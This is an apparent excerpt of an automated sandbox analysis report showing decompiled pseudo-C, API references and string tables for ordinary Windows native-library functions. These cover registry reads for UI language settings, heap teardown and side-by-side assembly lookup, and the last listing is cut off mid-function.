0x6b5fcffd
0x6b5fcffe
0x6b5fd007
0x6b5fd00b
0x6b5fd00c
0x6b5fd010
0x6b5fd018
0x6b5fd01c
0x6b5fd025
0x6b5fd029
0x6b5fd05d
0x6b5fd063
0x00000000
0x6b5fd069
0x6b5fd069
0x6b5fd06d
0x6b5fd07b
0x6b5fd080
0x6b5fd085
0x6b5fd089
0x00000000
0x6b5fd089
0x6b5fd02b
0x6b5fd035
0x6b5fd03a
0x6b5fd03b
0x6b5fd053
0x6b5fd057
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5fd057
0x6b5fcfbb
0x6b5fcfc1
0x6b5fcfca
0x6b5fcfd2
0x6b5fd08d
0x6b5fd091
0x6b5fd095
0x6b5fd09d
0x6b5fd09e
0x6b5fd0a7
0x6b5fd0af
0x6b5fd0b0
0x6b5fd0b4
0x6b5fd0bd
0x6b5fd0c1
0x6b5fd0cd
0x6b5fd0d2
0x6b5fd0d3
0x6b5fd0eb
0x6b5fd0ed
0x6b5fd0f4
0x6b5fd0f6
0x6b5fd0fc
0x6b5fd104
0x6b5fd18d
0x6b5fd10a
0x6b5fd10b
0x6b5fd110
0x6b5fd11b
0x6b5fd120
0x6b5fd15e
0x6b5fd179
0x6b5fd17d
0x00000000
0x6b5fd17f
0x6b5fd184
0x00000000
0x6b5fd186
0x6b5fd186
0x00000000
0x6b5fd186
0x6b5fd184
0x00000000
0x6b5fd122
0x6b5fd122
0x6b5fd127
0x6b5fd127
0x6b5fd127
0x6b5fd129
0x6b5fd129
0x6b5fd112
0x6b5fd115
0x6b5fd117
0x6b5fd117
0x6b5fd110
0x6b5fd104
0x6b5fd0fc
0x6b5fd0f4
0x6b5fd0c1
0x6b5fcfb9
0x6b5fd12b
0x6b5fd131
0x6b5fd136
0x6b5fd139
0x6b5fd139
0x6b5fd13f
0x6b5fd13f
0x6b5fd148
0x6b5fd14a
0x6b5fd14e
0x6b5fd14e
0x6b5fd15b
0x00000000

APIs

Part of subcall function 6B54F108: RtlOpenCurrentUser.1105(02000000,00000000,?,00000000,02000000,?,6B5FCFA7,?,?,?), ref: 6B54F12C

RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6B5FCFC1
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FCFE1
ZwOpenKey.1105(?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD020
RtlInitUnicodeString.1105(?,MachinePreferredUILanguages,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD035
ZwClose.1105(?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD06D
RtlInitUnicodeString.1105(?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD080
ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD0B8
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6B5FD0CD
ZwClose.1105(?,?,?,?), ref: 6B5FD139
ZwClose.1105(00000000,?,?,?), ref: 6B5FD14E

Strings

MachinePreferredUILanguages, xrefs: 6B5FD02B
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 6B5FD072
@, xrefs: 6B5FD010
Control Panel\Desktop, xrefs: 6B5FCFBB
PreferredUILanguages, xrefs: 6B5FD0C3
Control Panel\Desktop\MuiCached, xrefs: 6B5FCFDB
@, xrefs: 6B5FD0A7

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$CurrentUser
String ID: @$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 3208599939-2289709611
Opcode ID: 119e8691ced0ec43a19f70ee567049057923a08c1b3e8461da8adfbc7792abab
Instruction ID: 6319460ed84023088524f1376f0aa634827bbd9dfef517083ea19fb8cb81b773
Opcode Fuzzy Hash: 119e8691ced0ec43a19f70ee567049057923a08c1b3e8461da8adfbc7792abab
Instruction Fuzzy Hash: C5514F718483159FE311DF25C880D9BF7ECABC5754F000A2EF994A7254D739D9098F92

Uniqueness

Uniqueness Score: -1.00%

Function 6B542FB0, Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B542FB0(intOrPtr* _a4) {
				signed int _v8;
				void* _v36;
				void* _v62;
				void* _v68;
				void* _v72;
				signed int _v96;
				void* _v98;
				char _v100;
				void* _v104;
				void* _v108;
				void* _v112;
				void* _v116;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t62;
				intOrPtr _t64;
				signed int* _t83;
				signed int _t84;
				signed int _t88;
				char* _t89;
				char _t93;
				void* _t99;
				signed int* _t102;
				intOrPtr _t103;
				void* _t104;
				signed int* _t107;
				signed int _t108;
				char* _t115;
				signed int _t118;
				signed int _t124;
				void* _t125;
				void* _t126;
				signed int _t127;
				intOrPtr* _t128;
				void* _t135;
				intOrPtr _t137;
				intOrPtr* _t159;
				void* _t160;
				void* _t162;
				intOrPtr* _t164;
				void* _t167;
				signed int* _t168;
				signed int* _t169;
				signed int _t172;
				signed int _t174;

				_t174 = (_t172 & 0xfffffff8) - 0x64;
				_v8 =  *0x6b63d360 ^ _t174;
				_push(_t125);
				_t159 = _a4;
				if(_t159 == 0) {
					__eflags =  *0x6b638748 - 2;
					if( *0x6b638748 >= 2) {
						_t64 =  *[fs:0x30];
						__eflags =  *(_t64 + 0xc);
						if( *(_t64 + 0xc) == 0) {
							_push("HEAP: ");
							E6B54B150();
						} else {
							E6B54B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push("(HeapHandle != NULL)");
						E6B54B150();
						__eflags =  *0x6b637bc8;
						if(__eflags == 0) {
							_t135 = 2;
							E6B602073(_t125, _t135, _t159, __eflags);
						}
					}
					L26:
					_t62 = 0;
					L27:
					_pop(_t160);
					_pop(_t162);
					_pop(_t126);
					return E6B58B640(_t62, _t126, _v8 ^ _t174, _t155, _t160, _t162);
				}
				if( *((intOrPtr*)(_t159 + 8)) == 0xddeeddee) {
					_t137 =  *[fs:0x30];
					__eflags = _t159 -  *((intOrPtr*)(_t137 + 0x18));
					if(_t159 ==  *((intOrPtr*)(_t137 + 0x18))) {
						L30:
						_t62 = _t159;
						goto L27;
					}
					_t138 =  *(_t159 + 0x20);
					__eflags =  *(_t159 + 0x20);
					if( *(_t159 + 0x20) != 0) {
						_t155 = _t159;
						E6B5ECB1E(_t138, _t159, 0, 8, 0);
					}
					E6B5431B0(_t125, _t159, _t155);
					E6B60274F(_t159);
					_t155 = 1;
					E6B571249(_t159, 1, 0, 0);
					E6B60B581(_t159);
					goto L26;
				}
				if(( *(_t159 + 0x44) & 0x01000000) != 0) {
					_t164 =  *0x6b635718; // 0x0
					 *0x6b63b1e0(_t159);
					_t62 =  *_t164();
					goto L27;
				}
				_t144 =  *((intOrPtr*)(_t159 + 0x58));
				if( *((intOrPtr*)(_t159 + 0x58)) != 0) {
					_t155 = _t159;
					E6B5ECB1E(_t144, _t159, 0, 8, 0);
				}
				E6B5431B0(_t125, _t159, _t155);
				if(( *(_t159 + 0x40) & 0x61000000) != 0) {
					__eflags =  *(_t159 + 0x40) & 0x10000000;
					if(( *(_t159 + 0x40) & 0x10000000) != 0) {
						goto L5;
					}
					_t124 = E6B603518(_t159);
					__eflags = _t124;
					if(_t124 == 0) {
						goto L30;
					}
					goto L5;
				} else {
					L5:
					if(_t159 ==  *((intOrPtr*)( *[fs:0x30] + 0x18))) {
						goto L30;
					} else {
						_t155 = 1;
						E6B571249(_t159, 1, 0, 0);
						_t83 = _t159 + 0x9c;
						_t127 =  *_t83;
						while(_t83 != _t127) {
							_t84 = _t127;
							_t155 =  &_v96;
							_t127 =  *_t127;
							_v96 = _t84 & 0xffff0000;
							_v100 = 0;
							E6B57174B( &_v96,  &_v100, 0x8000);
							_t88 = E6B567D50();
							__eflags = _t88;
							if(_t88 == 0) {
								_t89 = 0x7ffe0388;
							} else {
								_t89 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							}
							__eflags =  *_t89;
							if(__eflags != 0) {
								_t155 = _v96;
								E6B5FFE3F(_t159, _v96, _v100);
							}
							_t83 = _t159 + 0x9c;
						}
						if( *((char*)(_t159 + 0xda)) == 2) {
							_t93 =  *((intOrPtr*)(_t159 + 0xd4));
						} else {
							_t93 = 0;
						}
						if(_t93 != 0) {
							 *((intOrPtr*)(_t174 + 0x1c)) = _t93;
							_t155 = _t174 + 0x1c;
							 *((intOrPtr*)(_t174 + 0x1c)) = 0;
							E6B57174B(_t174 + 0x1c, _t174 + 0x1c, 0x8000);
						}
						_t128 = _t159 + 0x88;
						if( *_t128 != 0) {
							 *((intOrPtr*)(_t174 + 0x24)) = 0;
							_t155 = _t128;
							E6B57174B(_t128, _t174 + 0x24, 0x8000);
							 *_t128 = 0;
						}
						if(( *(_t159 + 0x40) & 0x00000001) == 0) {
							 *((intOrPtr*)(_t159 + 0xc8)) = 0;
						}
						goto L16;
						L16:
						_t167 =  *((intOrPtr*)(_t159 + 0xa8)) - 0x10;
						E6B543138(_t167);
						if(_t167 != _t159) {
							goto L16;
						} else {
							_t99 = E6B567D50();
							_t168 = 0x7ffe0380;
							if(_t99 != 0) {
								_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t102 = 0x7ffe0380;
							}
							if( *_t102 != 0) {
								_t103 =  *[fs:0x30];
								__eflags =  *(_t103 + 0x240) & 0x00000001;
								if(( *(_t103 + 0x240) & 0x00000001) != 0) {
									_t118 = E6B567D50();
									__eflags = _t118;
									if(_t118 != 0) {
										_t168 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags = _t168;
									}
									 *((short*)(_t174 + 0x2a)) = 0x1023;
									_push(_t174 + 0x24);
									_push(4);
									_push(0x402);
									_push( *_t168 & 0x000000ff);
									 *((intOrPtr*)(_t174 + 0x54)) = _t159;
									E6B589AE0();
								}
							}
							_t104 = E6B567D50();
							_t169 = 0x7ffe038a;
							if(_t104 != 0) {
								_t107 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t107 = 0x7ffe038a;
							}
							if( *_t107 != 0) {
								_t108 = E6B567D50();
								__eflags = _t108;
								if(_t108 != 0) {
									_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t169;
								}
								 *((short*)(_t174 + 0x4e)) = 0x1023;
								_push(_t174 + 0x48);
								_push(4);
								_push(0x402);
								_push( *_t169 & 0x000000ff);
								 *((intOrPtr*)(_t174 + 0x78)) = _t159;
								E6B589AE0();
							}
							if(E6B567D50() != 0) {
								_t115 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
							} else {
								_t115 = 0x7ffe0388;
							}
							if( *_t115 != 0) {
								E6B5FFDD3(_t159);
							}
							goto L26;
						}
					}
				}
			}

0x6b542fb8
0x6b542fc2
0x6b542fc6
0x6b542fc9
0x6b542fce
0x6b59fb7d
0x6b59fb84
0x6b59fb8a
0x6b59fb90
0x6b59fb94
0x6b59fbb3
0x6b59fbb8
0x6b59fb96
0x6b59fbab
0x6b59fbb0
0x6b59fbbe
0x6b59fbc3
0x6b59fbc8
0x6b59fbd0
0x6b59fbd8
0x6b59fbd9
0x6b59fbd9
0x6b59fbd0
0x6b5430ea
0x6b5430ea
0x6b5430ec
0x6b5430f0
0x6b5430f1
0x6b5430f2
0x6b5430fd
0x6b5430fd
0x6b542fdb
0x6b59fbe3
0x6b59fbea
0x6b59fbed
0x6b54312b
0x6b54312b
0x00000000
0x6b54312b
0x6b59fbf3
0x6b59fbf8
0x6b59fbfa
0x6b59fc00
0x6b59fc02
0x6b59fc02
0x6b59fc09
0x6b59fc10
0x6b59fc1b
0x6b59fc1c
0x6b59fc23
0x00000000
0x6b59fc23
0x6b542fe8
0x6b59fc2d
0x6b59fc36
0x6b59fc3c
0x00000000
0x6b59fc3c
0x6b542fee
0x6b542ff5
0x6b59fc47
0x6b59fc49
0x6b59fc49
0x6b542ffd
0x6b543009
0x6b59fc53
0x6b59fc5a
0x00000000
0x00000000
0x6b59fc62
0x6b59fc67
0x6b59fc69
0x00000000
0x00000000
0x00000000
0x6b54300f
0x6b54300f
0x6b543018
0x00000000
0x6b54301e
0x6b543024
0x6b543025
0x6b54302a
0x6b543030
0x6b543032
0x6b59fc74
0x6b59fc76
0x6b59fc7a
0x6b59fc81
0x6b59fc8f
0x6b59fc93
0x6b59fc98
0x6b59fc9d
0x6b59fc9f
0x6b59fcb1
0x6b59fca1
0x6b59fcaa
0x6b59fcaa
0x6b59fcb6
0x6b59fcb9
0x6b59fcbf
0x6b59fcc5
0x6b59fcc5
0x6b59fcca
0x6b59fcca
0x6b543041
0x6b543100
0x6b543047
0x6b543047
0x6b543047
0x6b54304b
0x6b54310b
0x6b54310f
0x6b54311c
0x6b543121
0x6b543121
0x6b543051
0x6b543059
0x6b59fcde
0x6b59fce3
0x6b59fce5
0x6b59fcea
0x6b59fcea
0x6b543063
0x6b543075
0x6b543075
0x00000000
0x6b54307b
0x6b543081
0x6b543086
0x6b54308d
0x00000000
0x6b54308f
0x6b54308f
0x6b543094
0x6b5430a0
0x6b59fcfa
0x6b5430a6
0x6b5430a6
0x6b5430a6
0x6b5430ab
0x6b59fd01
0x6b59fd07
0x6b59fd0e
0x6b59fd14
0x6b59fd19
0x6b59fd1b
0x6b59fd26
0x6b59fd26
0x6b59fd26
0x6b59fd2f
0x6b59fd38
0x6b59fd39
0x6b59fd3b
0x6b59fd43
0x6b59fd44
0x6b59fd48
0x6b59fd48
0x6b59fd0e
0x6b5430b1
0x6b5430b6
0x6b5430c2
0x6b59fd5b
0x6b5430c8
0x6b5430c8
0x6b5430c8
0x6b5430cd
0x6b59fd62
0x6b59fd67
0x6b59fd69
0x6b59fd74
0x6b59fd74
0x6b59fd74
0x6b59fd7d
0x6b59fd86
0x6b59fd87
0x6b59fd89
0x6b59fd91
0x6b59fd92
0x6b59fd96
0x6b59fd96
0x6b5430da
0x6b59fda9
0x6b5430e0
0x6b5430e0
0x6b5430e0
0x6b5430e8
0x6b543131
0x6b543131
0x00000000
0x6b5430e8
0x6b54308d
0x6b543018

APIs

RtlDeleteCriticalSection.1105(?,00000000,00008000), ref: 6B543070
RtlGetCurrentServiceSessionId.1105(00000000,00008000), ref: 6B54308F
RtlGetCurrentServiceSessionId.1105 ref: 6B5430B1
RtlGetCurrentServiceSessionId.1105 ref: 6B5430D3
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B59FBAB
DbgPrint.1105((HeapHandle != NULL)), ref: 6B59FBC3
RtlDebugPrintTimes.1105(?), ref: 6B59FC36

Part of subcall function 6B5431B0: RtlAcquireSRWLockExclusive.1105(6B638660,?,00000000,6B59FC0E), ref: 6B5431BC
Part of subcall function 6B5431B0: RtlReleaseSRWLockExclusive.1105(6B638660,6B638660,?,00000000,6B59FC0E), ref: 6B5431CF

Strings

HEAP[%wZ]: , xrefs: 6B59FBA6
HEAP: , xrefs: 6B59FBB3
(HeapHandle != NULL), xrefs: 6B59FBBE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentPrintServiceSession$ExclusiveLock$AcquireCriticalDebugDeleteReleaseSectionTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1992993584-3610490719
Opcode ID: 48e1946a7fed44667d81518a5774bb1610bb32f5f17e71bd5a236e397f3c254e
Instruction ID: 1699d07970a017ee6e7594466a790a01cdde00e4c95a6e896ca6e78eb6cabb4d
Opcode Fuzzy Hash: 48e1946a7fed44667d81518a5774bb1610bb32f5f17e71bd5a236e397f3c254e
Instruction Fuzzy Hash: 4791F3707087909BF326DB34C455BEAB7A5BF85B44F0045A9F9548B294DB3CEC44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B57CCC0, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 218
nativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6B57CCC0(intOrPtr _a4, intOrPtr* _a8, signed int* _a12) {
				signed int _v8;
				char _v540;
				signed int _v544;
				char _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				signed int _v576;
				char _v580;
				char _v584;
				char* _v588;
				signed int _v590;
				signed int _v592;
				int _v596;
				signed int _v600;
				void* _v608;
				void* _v612;
				signed int _v616;
				intOrPtr _v620;
				signed int _v624;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				intOrPtr* _t103;
				void* _t104;
				intOrPtr _t107;
				void* _t110;
				void* _t111;
				void* _t117;
				int _t121;
				signed int* _t124;
				void* _t125;
				signed int _t129;
				signed int _t131;

				_t131 = (_t129 & 0xfffffff8) - 0x25c;
				_v8 =  *0x6b63d360 ^ _t131;
				_t103 = _a8;
				_t124 = _a12;
				_t76 = _a4 - 1;
				if(_t76 == 0) {
					_v580 = 0x18;
					_push( &_v580);
					_v568 = 0x40;
					_push(8);
					_v600 = 0;
					_push( &_v600);
					_v576 = 0;
					_v572 = 0x6b5213a8;
					_v564 = 0;
					_v560 = 0;
					_t79 = E6B589600();
					_v620 = _t79;
					if(_t79 >= 0 || _t79 == 0xc0000034 || _t79 == 0xc0000189) {
						_t80 = _v600;
						 *(_t103 + 0x18) =  *(_t103 + 0x18) | 0xffffffff;
						 *((intOrPtr*)(_t103 + 8)) = _v600;
					} else {
						_push(_t79);
						_t80 = E6B5D5720(0x33, 0, "SXS: Unable to open registry key %wZ Status = 0x%08lx\n", 0x6b5213a8);
						 *((char*)(_t103 + 0x1c)) = 1;
						L36:
						_t131 = _t131 + 0x14;
						if(_t124 == 0) {
							L9:
							_pop(_t117);
							_pop(_t125);
							_pop(_t104);
							return E6B58B640(_t80, _t104, _v8 ^ _t131, _t113, _t117, _t125);
						}
						_t80 = _v608;
						L38:
						 *_t124 = _t80;
					}
					goto L9;
				}
				_t82 = _t76 - 1;
				if(_t82 != 0) {
					_t80 = _t82;
					if(_t80 == 0 &&  *_t103 != _t80) {
						_push( *_t103);
						_t80 = E6B5895D0();
					}
					goto L9;
				}
				_t84 =  *((intOrPtr*)(_t103 + 4));
				if(_t84 != 0) {
					if(_t84 != 1) {
						_t107 =  *_t103;
						_t80 = _t84 + 0xfffffffe;
						_v608 = _t107;
						_v584 = 0;
						_v596 = _t80;
						if(_t107 == 0) {
							L30:
							 *((char*)(_t103 + 9)) = 1;
							goto L9;
						}
						_push( &_v584);
						_push(0x220);
						_t113 =  &_v556;
						_push( &_v556);
						_push(0);
						_push(_t80);
						_push(_t107);
						_t80 = E6B589820();
						_v624 = _t80;
						if(_t80 >= 0) {
							_t80 = _v544;
							if(_t80 > 0xfffe) {
								L20:
								 *((char*)(_t103 + 8)) = 1;
								if(_t124 != 0) {
									 *_t124 = 0xc0000106;
								}
								goto L9;
							}
							_t113 =  &_v592;
							_v592 = _t80;
							_v590 = _t80;
							_v588 =  &_v540;
							_t80 = E6B5D4A28(_v608,  &_v592, _t103 + 0xc);
							_v612 = _t80;
							if(_t80 >= 0) {
								goto L9;
							}
							_push(_t80);
							_t80 = E6B5D5720(0x33, 0, "SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx\n",  &_v592);
							 *((char*)(_t103 + 8)) = 1;
							goto L36;
						}
						if(_t80 == 0x8000001a) {
							goto L30;
						}
						_push(_t80);
						_t80 = E6B5D5720(0x33, 0, "SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx\n", _v596);
						_t131 = _t131 + 0x14;
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 == 0) {
							goto L9;
						}
						_t80 = _v600;
						goto L38;
					}
					RtlInitUnicodeString( &_v608, E6B55AAB0());
					_t113 = _v616 & 0x0000ffff;
					 *(_t103 + 0xc) = 0;
					_t27 = _t113 + 0x10; // 0x50
					_t80 = _t27;
					if(_t27 > ( *(_t103 + 0xe) & 0x0000ffff)) {
						L22:
						 *((char*)(_t103 + 8)) = 1;
						if(_t124 != 0) {
							 *_t124 = 0xc0000023;
						}
						goto L9;
					}
					memcpy( *(_t103 + 0x10), _v612, _t113);
					_t131 = _t131 + 0xc;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t80 = _v616 + 0x10;
					L8:
					 *(_t103 + 0xc) = _t80;
					goto L9;
				}
				_t80 =  *( *[fs:0x30] + 0x10);
				_t121 =  *( *( *[fs:0x30] + 0x10) + 0x38) & 0x0000ffff;
				_v596 = _t121;
				_t9 = _t121 + 0x10; // 0x6b556177
				_t110 = _t9;
				if(_t110 > 0xfffe) {
					goto L20;
				}
				_t80 =  *(_t103 + 0xe) & 0x0000ffff;
				if(_t110 > ( *(_t103 + 0xe) & 0x0000ffff)) {
					goto L22;
				}
				_t111 =  *( *( *[fs:0x30] + 0x10) + 0x3c);
				if(( *( *( *[fs:0x30] + 0x10) + 8) & 0x00000001) == 0) {
					_t111 = _t111 +  *( *[fs:0x30] + 0x10);
				}
				memcpy( *(_t103 + 0x10), _t111, _t121);
				_t131 = _t131 + 0xc;
				_t113 = 1;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *(_t103 + 0xc) = _v596 + 0xe;
				if(E6B57D268( *(_t103 + 0x10), 1) != 0) {
					goto L9;
				} else {
					_t80 = 0;
					goto L8;
				}
			}

0x6b57ccc8
0x6b57ccd5
0x6b57cce0
0x6b57cce4
0x6b57cce8
0x6b57cceb
0x6b57ce12
0x6b57ce1a
0x6b57ce1d
0x6b57ce25
0x6b57ce2b
0x6b57ce2f
0x6b57ce30
0x6b57ce34
0x6b57ce3c
0x6b57ce40
0x6b57ce44
0x6b57ce49
0x6b57ce4f
0x6b57ce5c
0x6b57ce60
0x6b57ce64
0x6b5bad96
0x6b5bad96
0x6b5bada4
0x6b5bada9
0x6b5badad
0x6b5badad
0x6b5badb2
0x6b57cd88
0x6b57cd8f
0x6b57cd90
0x6b57cd91
0x6b57cd9c
0x6b57cd9c
0x6b5badb8
0x6b5badbc
0x6b5badbc
0x6b5badbc
0x00000000
0x6b57ce4f
0x6b57ccf1
0x6b57ccf4
0x6b57cda0
0x6b57cda3
0x6b5bac7c
0x6b5bac7e
0x6b5bac7e
0x00000000
0x6b57cda3
0x6b57ccfa
0x6b57ccff
0x6b57cdb1
0x6b5bacc4
0x6b5bacc8
0x6b5baccb
0x6b5baccf
0x6b5bacd3
0x6b5bacd9
0x6b5bad2b
0x6b5bad2b
0x00000000
0x6b5bad2b
0x6b5bacdf
0x6b5bace0
0x6b5bace5
0x6b5bace9
0x6b5bacea
0x6b5baceb
0x6b5bacec
0x6b5baced
0x6b5bacf2
0x6b5bacf8
0x6b5bad34
0x6b5bad3d
0x6b5bac88
0x6b5bac88
0x6b5bac8e
0x6b5bac94
0x6b5bac94
0x00000000
0x6b5bac8e
0x6b5bad47
0x6b5bad4b
0x6b5bad50
0x6b5bad59
0x6b5bad61
0x6b5bad66
0x6b5bad6c
0x00000000
0x00000000
0x6b5bad72
0x6b5bad80
0x6b5bad85
0x00000000
0x6b5bad85
0x6b5bacff
0x00000000
0x00000000
0x6b5bad01
0x6b5bad0e
0x6b5bad13
0x6b5bad16
0x6b5bad1c
0x00000000
0x00000000
0x6b5bad22
0x00000000
0x6b5bad22
0x6b57cdc2
0x6b57cdc7
0x6b57cdd2
0x6b57cdd6
0x6b57cdd6
0x6b57cddb
0x6b5bac9f
0x6b5bac9f
0x6b5baca5
0x6b5bacab
0x6b5bacab
0x00000000
0x6b5baca5
0x6b57cde9
0x6b57cdfb
0x6b57cdfe
0x6b57cdff
0x6b57ce00
0x6b57ce01
0x6b57ce06
0x6b57cd84
0x6b57cd84
0x00000000
0x6b57cd84
0x6b57cd0b
0x6b57cd0e
0x6b57cd12
0x6b57cd16
0x6b57cd16
0x6b57cd1f
0x00000000
0x00000000
0x6b57cd25
0x6b57cd2b
0x00000000
0x00000000
0x6b57cd3a
0x6b57cd4a
0x6b5bacbc
0x6b5bacbc
0x6b57cd56
0x6b57cd66
0x6b57cd6c
0x6b57cd6e
0x6b57cd6f
0x6b57cd70
0x6b57cd71
0x6b57cd75
0x6b57cd80
0x00000000
0x6b57cd82
0x6b57cd82
0x00000000
0x6b57cd82

APIs

memcpy.1105(6B524F84,?,6B556167,00000040,?,?), ref: 6B57CD56

Part of subcall function 6B57D268: RtlInitUnicodeStringEx.1105(?,00000000,00000000,?,?,6B5C4718,00000030,?,00000000,?,6B5AF5F2,?,00000024,00000000,?), ref: 6B57D278

RtlGetNtSystemRoot.1105(00000040,?,?), ref: 6B57CDB7
RtlInitUnicodeString.1105(00000000,00000000,00000040,?,?), ref: 6B57CDC2
memcpy.1105(6B524F84,00000000,00000040,00000000,00000000,00000040,?,?), ref: 6B57CDE9
ZwOpenKey.1105(?,00000008,?,?,?,?), ref: 6B57CE44
ZwClose.1105(?,00000040,?,?), ref: 6B5BAC7E

Strings

.Local\, xrefs: 6B57CD61
@, xrefs: 6B57CE1D
\WinSxS\, xrefs: 6B57CDF3
SXS: Unable to open registry key %wZ Status = 0x%08lx, xrefs: 6B5BAD9C
SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx, xrefs: 6B5BAD06
SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx, xrefs: 6B5BAD78

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicodememcpy$CloseOpenRootSystem
String ID: .Local\$@$SXS: Attempt to get storage location from subkey %wZ failed; Status = 0x%08lx$SXS: Unable to enumerate assembly storage subkey #%lu Status = 0x%08lx$SXS: Unable to open registry key %wZ Status = 0x%08lx$\WinSxS\
API String ID: 3618765437-3926108909
Opcode ID: 1574921ee57e70bd6f6658a1b0280df7daf451a409e804aaecaeaac89eebe22e
Instruction ID: a4d54981398878b5acf2be14b1711f0ea9fb36a0f48e246047db69e62362bd1d
Opcode Fuzzy Hash: 1574921ee57e70bd6f6658a1b0280df7daf451a409e804aaecaeaac89eebe22e
Instruction Fuzzy Hash: F581A0716083419FF721DF29C890A9BBBE8FF85704F0089ADF8949B255D778D944CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B5465A0, Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 157
nativeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B5465A0(intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12) {
				signed int _v8;
				void* _v28;
				signed int _v300;
				intOrPtr _v304;
				signed int _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				void _v324;
				intOrPtr* _v328;
				void _v332;
				int _v336;
				void* _v340;
				char _v344;
				void* _v348;
				char _v352;
				char _v356;
				char _v360;
				char _v364;
				void* _v368;
				void* _v372;
				void* _v388;
				void* __ebx;
				void* __edi;
				void* __esi;
				void _t75;
				intOrPtr* _t110;
				void* _t111;
				signed int _t112;
				signed int _t118;
				void* _t132;
				void* _t135;
				intOrPtr* _t137;
				void* _t142;
				signed int _t143;
				signed int _t145;

				_t145 = (_t143 & 0xfffffff8) - 0x15c;
				_v8 =  *0x6b63d360 ^ _t145;
				_t75 = _a4;
				_t124 = 0;
				_v332 = _t75;
				_t110 = _a12;
				_t137 = _a8;
				_v328 = _t137;
				if(_t75 != 0) {
					_push("true");
					_pop(_t112);
					_v340 = 0;
					_v336 = 0;
					memset( &_v324, 0, _t112 << 2);
					_t145 = _t145 + 0xc;
					_v344 = 0;
					_v348 = 0;
					_t132 = 0;
					RtlInitUnicodeString( &_v340, L"\\Registry\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion");
					_v332 = 0x18;
					_v324 =  &_v348;
					_v328 = 0;
					_push( &_v332);
					_push(0x20119);
					_v320 = 0x40;
